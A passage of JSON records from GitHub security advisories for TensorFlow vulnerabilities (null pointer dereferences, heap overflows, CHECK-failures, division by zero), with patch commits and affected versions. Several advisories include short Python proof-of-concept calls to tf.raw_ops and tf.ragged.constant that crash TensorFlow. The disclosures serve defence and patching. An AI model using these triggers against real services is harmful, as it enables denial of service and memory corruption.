[`TrySimplify`](https://github.com/tensorflow/tensorflow/blob/c22d88d6ff33031aa113e48aa3fc9aa74ed79595/tensorflow/core/grappler/optimizers/arithmetic_optimizer.cc#L390-L401) has undefined behavior due to dereferencing a null pointer in corner cases that\nresult in optimizing a node with no inputs.\n\n### Patches\nWe have patched the issue in GitHub commit [e6340f0665d53716ef3197ada88936c2a5f7a2d3](https://github.com/tensorflow/tensorflow/commit/e6340f0665d53716ef3197ada88936c2a5f7a2d3).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:28:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4hvv-7x94-7vq8","https://nvd.nist.gov/vuln/detail/CVE-2021-29616","https://github.com/tensorflow/tensorflow/commit/e6340f0665d53716ef3197ada88936c2a5f7a2d3","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-544.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-742.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-253.yaml","https://github.com/advisories/GHSA-4hvv-7x94-7vq8"],"source_kind":"github","identifiers":["GHSA-4hvv-7x94-7vq8","CVE-2021-29616"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.537Z","updated_at":"2024-11-13T16:27:54.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"GSA_kwCzR0hTQS1oNmd3LXI1MmMtNzI0cs0oig","url":"https://github.com/advisories/GHSA-h6gw-r52c-724r","title":"NULL Pointer Dereference and Access of Uninitialized Pointer in TensorFlow","description":"### Impact \nThe [code for boosted trees in TensorFlow](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/kernels/boosted_trees/stats_ops.cc) is still missing validation. This allows malicious users to read and write outside of bounds of heap allocated data as well as trigger denial of service (via dereferencing `nullptr`s or via `CHECK`-failures).\n\nThis follows after CVE-2021-41208 where these APIs were still vulnerable to multiple security issues.\n\n**Note**: Given that the boosted trees implementation in TensorFlow is unmaintained, it is recommend to no longer use these APIs.  Instead, please use the downstream [TensorFlow Decision Forests](https://github.com/tensorflow/decision-forests) project which is newer and supports more features. \n  \nThese APIs are now deprecated in TensorFlow 2.8. We will remove TensorFlow's boosted trees APIs in subsequent releases.\n  \n### Patches\nWe have patched the known issues in multiple GitHub commits.\n  \nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\nThis should allow users to use existing boosted trees APIs for a while until they migrate to [TensorFlow Decision Forests](https://github.com/tensorflow/decision-forests), while guaranteeing that known vulnerabilities are fixed.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThese vulnerabilities have been reported by Yu Tian of Qihoo 360 AIVul Team and Faysal Hossain Shezan from University of Virginia. Some of the issues have been discovered internally after a careful audit of the APIs.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-02-09T23:38:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-57wx-m983-2f88","https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h6gw-r52c-724r","https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/kernels/boosted_trees/stats_ops.cc","https://github.com/advisories/GHSA-h6gw-r52c-724r"],"source_kind":"github","identifiers":["GHSA-h6gw-r52c-724r"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.813Z","updated_at":"2023-01-11T05:04:25.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk0M3AteGM2bS1jNmdy","url":"https://github.com/advisories/GHSA-943p-xc6m-c6gr","title":"Rejected CVE ID","description":"** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2018-7576,\nCVE-2018-21233. Reason: this candidate was intended for one issue, but the\ndescription and references inadvertently combined multiple issues. Notes:\nAll CVE users should consult CVE-2018-7576 and CVE-2018-21233 to determine\nwhich ID is appropriate. All references and descriptions in this candidate\nhave been removed to prevent accidental usage.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-04-30T15:37:27.000Z","withdrawn_at":"2020-05-13T15:49:20.000Z","classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2018-7574","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2018-001.md","https://github.com/advisories/GHSA-943p-xc6m-c6gr"],"source_kind":"github","identifiers":["GHSA-943p-xc6m-c6gr","CVE-2018-7574"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"1.7.0","vulnerable_version_range":"\u003e= 1.3.0, \u003c 1.7.0"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:30.298Z","updated_at":"2023-02-01T05:01:40.000Z","epss_percentage":0.00121,"epss_percentile":0.47875},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY4aDQtN3JnaC1xMmdt","url":"https://github.com/advisories/GHSA-f8h4-7rgh-q2gm","title":"Segfault and heap buffer overflow in `{Experimental,}DatasetToTFRecord`","description":"### Impact\nThe implementation for `tf.raw_ops.ExperimentalDatasetToTFRecord` and `tf.raw_ops.DatasetToTFRecord` can trigger heap buffer overflow and segmentation fault:\n\n```python\nimport tensorflow as tf\n\ndataset = tf.data.Dataset.range(3)\ndataset = tf.data.experimental.to_variant(dataset)\ntf.raw_ops.ExperimentalDatasetToTFRecord(\n  input_dataset=dataset,\n  filename='/tmp/output',\n  compression_type='')\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/data/experimental/to_tf_record_op.cc#L93-L102) assumes that all records in the dataset are of string type. However, there is no check for that, and the example given above uses numeric types.\n\n### Patches\nWe have patched the issue in GitHub commit [e0b6e58c328059829c3eb968136f17aa72b6c876](https://github.com/tensorflow/tensorflow/commit/e0b6e58c328059829c3eb968136f17aa72b6c876).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:43:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f8h4-7rgh-q2gm","https://nvd.nist.gov/vuln/detail/CVE-2021-37650","https://github.com/tensorflow/tensorflow/commit/e0b6e58c328059829c3eb968136f17aa72b6c876","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-563.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-761.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-272.yaml","https://github.com/advisories/GHSA-f8h4-7rgh-q2gm"],"source_kind":"github","identifiers":["GHSA-f8h4-7rgh-q2gm","CVE-2021-37650"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":41.37622747243966,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.873Z","updated_at":"2024-11-13T17:24:30.000Z","epss_percentage":0.00014,"epss_percentile":0.01702},{"uuid":"GSA_kwCzR0hTQS01d3BqLWM2ZjctMjR4OM4AArBT","url":"https://github.com/advisories/GHSA-5wpj-c6f7-24x8","title":"Undefined behavior when users supply invalid resource handles","description":"### Impact\nMultiple TensorFlow operations misbehave in eager mode when the resource handle provided to them is invalid:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.QueueIsClosedV2(handle=[])\n```\n\n```python\nimport tensorflow as tf\n\ntf.summary.flush(writer=())\n```\n  \nIn graph mode, it would have been impossible to perform these API calls, but migration to TF 2.x eager mode opened up this vulnerability. If the resource handle is empty, then a reference is bound to a null pointer inside TensorFlow codebase (various codepaths). This is undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [a5b89cd68c02329d793356bda85d079e9e69b4e7](https://github.com/tensorflow/tensorflow/commit/a5b89cd68c02329d793356bda85d079e9e69b4e7) and GitHub commit [dbdd98c37bc25249e8f288bd30d01e118a7b4498](https://github.com/tensorflow/tensorflow/commit/dbdd98c37bc25249e8f288bd30d01e118a7b4498).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Hong Jin from Singapore Management University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:13:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5wpj-c6f7-24x8","https://nvd.nist.gov/vuln/detail/CVE-2022-29207","https://github.com/tensorflow/tensorflow/commit/a5b89cd68c02329d793356bda85d079e9e69b4e7","https://github.com/tensorflow/tensorflow/commit/dbdd98c37bc25249e8f288bd30d01e118a7b4498","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-5wpj-c6f7-24x8"],"source_kind":"github","identifiers":["GHSA-5wpj-c6f7-24x8","CVE-2022-29207"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.679Z","updated_at":"2023-01-27T05:01:57.000Z","epss_percentage":0.00045,"epss_percentile":0.13348},{"uuid":"GSA_kwCzR0hTQS1jd3BtLWY3OHYtN201Y84AArBO","url":"https://github.com/advisories/GHSA-cwpm-f78v-7m5c","title":"Denial of service in `tf.ragged.constant` due to lack of validation","description":"### Impact\nThe implementation of [`tf.ragged.constant`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/ops/ragged/ragged_factory_ops.py#L146-L239) does not fully validate the input arguments. This results in a denial of service by consuming all available memory:\n\n```python\nimport tensorflow as tf\ntf.ragged.constant(pylist=[],ragged_rank=8968073515812833920)\n```\n  \n### Patches\nWe have patched the issue in GitHub commit [bd4d5583ff9c8df26d47a23e508208844297310e](https://github.com/tensorflow/tensorflow/commit/bd4d5583ff9c8df26d47a23e508208844297310e).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/55199).\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:10:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cwpm-f78v-7m5c","https://nvd.nist.gov/vuln/detail/CVE-2022-29202","https://github.com/tensorflow/tensorflow/issues/55199","https://github.com/tensorflow/tensorflow/commit/bd4d5583ff9c8df26d47a23e508208844297310e","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/ops/ragged/ragged_factory_ops.py#L146-L239","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-cwpm-f78v-7m5c"],"source_kind":"github","identifiers":["GHSA-cwpm-f78v-7m5c","CVE-2022-29202"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.730Z","updated_at":"2023-07-21T19:30:34.000Z","epss_percentage":0.00051,"epss_percentile":0.16012},{"uuid":"GSA_kwCzR0hTQS1ocmc1LTczN2MtMnA1Ns4AArBJ","url":"https://github.com/advisories/GHSA-hrg5-737c-2p56","title":"Missing validation causes denial of service via `UnsortedSegmentJoin`","description":"### Impact\nThe implementation of [`tf.raw_ops.UnsortedSegmentJoin`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/unsorted_segment_join_op.cc#L92-L95) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.UnsortedSegmentJoin(\n  inputs=tf.constant(\"this\", shape=[12], dtype=tf.string),\n  segment_ids=tf.constant(0, shape=[12], dtype=tf.int64),\n  num_segments=tf.constant(0, shape=[12], dtype=tf.int64))\n``` \n  \nThe code assumes `num_segments` is a scalar but there is no validation for this before accessing its value:\n\n```cc\nconst Tensor\u0026 num_segments_tensor = context-\u003einput(2);\nOP_REQUIRES(context, num_segments_tensor.NumElements() != 0,\n            errors::InvalidArgument(\"Number of segments cannot be empty.\"));\nauto num_segments = num_segments_tensor.scalar\u003cNUM_SEGMENTS_TYPE\u003e()();\n``` \n\n### Patches\nWe have patched the issue in GitHub commit [13d38a07ce9143e044aa737cfd7bb759d0e9b400](https://github.com/tensorflow/tensorflow/commit/13d38a07ce9143e044aa737cfd7bb759d0e9b400).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:08:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-hrg5-737c-2p56","https://nvd.nist.gov/vuln/detail/CVE-2022-29197","https://github.com/tensorflow/tensorflow/commit/13d38a07ce9143e044aa737cfd7bb759d0e9b400","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/unsorted_segment_join_op.cc#L92-L95","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-hrg5-737c-2p56"],"source_kind":"github","identifiers":["GHSA-hrg5-737c-2p56","CVE-2022-29197"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.779Z","updated_at":"2023-01-27T05:02:05.000Z","epss_percentage":0.00044,"epss_percentile":0.12442},{"uuid":"GSA_kwCzR0hTQS1jZzg4LXJwdnAtY2p2Nc4AAv_C","url":"https://github.com/advisories/GHSA-cg88-rpvp-cjv5","title":"Out of bounds write in grappler in Tensorflow","description":"### Impact\nThe function [MakeGrapplerFunctionItem](https://https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/grappler/utils/functions.cc#L221) takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read or a crash is triggered.\n\n### Patches\nWe have patched the issue in GitHub commit [a65411a1d69edfb16b25907ffb8f73556ce36bb7](https://github.com/tensorflow/tensorflow/commit/a65411a1d69edfb16b25907ffb8f73556ce36bb7).\n\nThe fix will be included in TensorFlow 2.11.0. We will also cherrypick this commit on TensorFlow 2.10.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-11-21T22:04:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cg88-rpvp-cjv5","https://github.com/tensorflow/tensorflow/commit/a65411a1d69edfb16b25907ffb8f73556ce36bb7","https://nvd.nist.gov/vuln/detail/CVE-2022-41902","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/grappler/utils/functions.cc#L221","https://github.com/advisories/GHSA-cg88-rpvp-cjv5"],"source_kind":"github","identifiers":["GHSA-cg88-rpvp-cjv5","CVE-2022-41902"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.1"},{"first_patched_version":"2.9.3","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.3"},{"first_patched_version":"2.8.4","vulnerable_version_range":"\u003c 2.8.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.1"},{"first_patched_version":"2.9.3","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.3"},{"first_patched_version":"2.8.4","vulnerable_version_range":"\u003c 2.8.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.1"},{"first_patched_version":"2.9.3","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.3"},{"first_patched_version":"2.8.4","vulnerable_version_range":"\u003c 2.8.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:49.946Z","updated_at":"2023-09-18T20:07:43.000Z","epss_percentage":0.00205,"epss_percentile":0.42922},{"uuid":"GSA_kwCzR0hTQS03djk0LTY0aGotbTgyaM0XDA","url":"https://github.com/advisories/GHSA-7v94-64hj-m82h","title":"FPE in `ParallelConcat`","description":"### Impact\nThe [implementation of `ParallelConcat`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/inplace_ops.cc#L72-L97) misses some input validation and can produce a division by 0:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  y = tf.raw_ops.ParallelConcat(values=[['tf']],shape=0)\n  return y\n\ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f2c3931113eaafe9ef558faaddd48e00a6606235](https://github.com/tensorflow/tensorflow/commit/f2c3931113eaafe9ef558faaddd48e00a6606235).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T19:02:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-7v94-64hj-m82h","https://nvd.nist.gov/vuln/detail/CVE-2021-41207","https://github.com/tensorflow/tensorflow/commit/f2c3931113eaafe9ef558faaddd48e00a6606235","https://github.com/tensorflow/tensorflow/commit/9de11bdc2cf1284b2f635419bd3e6bbc7643eb2c","https://github.com/tensorflow/tensorflow/commit/d11f21bbdfa54f3576ae860fc927bf23c675ebc0","https://github.com/tensorflow/tensorflow/commit/e67caccea81167402c62977b5c521f2a8b261d6a","https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/inplace_ops.cc#L72-L97","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-616.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-814.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-399.yaml","https://github.com/advisories/GHSA-7v94-64hj-m82h"],"source_kind":"github","identifiers":["GHSA-7v94-64hj-m82h","CVE-2021-41207"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.100981977951726,"packages":[{"versions":[{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003e= 0, \u003c 2.4.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003e= 0, \u003c 2.4.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 